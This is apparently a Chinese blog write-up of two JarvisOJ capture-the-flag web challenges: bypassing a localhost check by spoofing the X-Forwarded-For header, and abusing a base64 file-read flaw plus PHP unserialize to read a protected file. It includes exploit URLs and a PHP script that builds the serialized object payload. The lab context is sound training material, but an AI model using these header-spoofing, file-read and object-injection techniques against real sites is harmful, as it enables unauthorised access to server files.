美文网首页
[JarvisOj]Web

[JarvisOj]Web

作者: JasonChiu17 | 来源:发表于2018-01-29 16:03 被阅读52次

LOCALHOST

题目入口:http://web.jarvisoj.com:32774/

  • X-Forwarded-For Header插件修改IP


  • 刷新


  • PCTF{X_F0rw4rd_F0R_is_not_s3cuRe}

神盾局的秘密

这里有个通向神盾局内部网络的秘密入口,你能通过漏洞发现神盾局的秘密吗?
题目入口:http://web.jarvisoj.com:32768/

主页
  • view source
    <img src="[showimg.php?img=c2hpZWxkLmpwZw==]

  • 打开
    http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLmpwZw==

    一堆乱码
  • 分析: 从url可以发现,这是一个文件包含漏洞,而且文件名是base64加密的。
    原生:img=c2hpZWxkLmpwZw==
    解密:img=shield.jpg

  • 文件包含漏洞利用

  1. 查看showimg.php源码
    view-source: http://web.jarvisoj.com:32768/showimg.php?img=c2hvd2ltZy5waHA=
1. 要decode base64。
2. stripos() 返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。
3...,/,\\,pctf,这些字符不能出现在img参数里
  1. 查看index.php源码
    view-source: http://web.jarvisoj.com:32768/showimg.php?img=aW5kZXgucGhw
1. 可以传递class参数
2. 反序列化传递的class参数
  • require_once()语句在脚本执行期间包含并运行指定文件(通俗一点,括号内的文件会执行一遍)。
  • serialize和unserialize函数
    序列化是将变量转换为可保存或传输的字符串的过程;反序列化就是在适当的时候把这个字符串再转化成原来的变量使用。这两个过程结合起来,可以轻松地存储和传输数据。
  1. 利用文件包含漏洞,查看shield.php源码
    view-source:http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLnBocA==
  • 打开pctf.php
    http://web.jarvisoj.com:32768/pctf.php
    FLAG: PCTF{I_4m_not_fl4g}
  • I_4m_not_fl4g,这不是flag,很遗憾。回到考点:文件包含漏洞,继续查看pctf.php的源码。
    view-source:http://web.jarvisoj.com:32768/showimg.php?img=cGN0Zi5waHA=
    File not found!
  • 审计showimg.php源码发现:不能出现pctf字符
    -->不能用showimg.php来读取pctf.php了
    -->利用index.php来读取pctf.php,构造序列化参数class,反序列化class参数来new(实例化)Shield对象,再调用shield对象的readfile方法。
    -->index.php 里的意思是对Shield('$class')反序列化了,所以我们要序列化Shield('pctf.php'),得到的参数才传入class中。
  • 写个php脚本,用warmpserver搭建服务打开网址
<?php
    //flag is in pctf.php
    class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }
        
        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE  
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
    $x=new Shield('pctf.php');
    echo serialize($x);
?>

相关文章

网友评论

      本文标题:[JarvisOj]Web

      本文链接:https://www.haomeiwen.com/subject/uvoxzxtx.html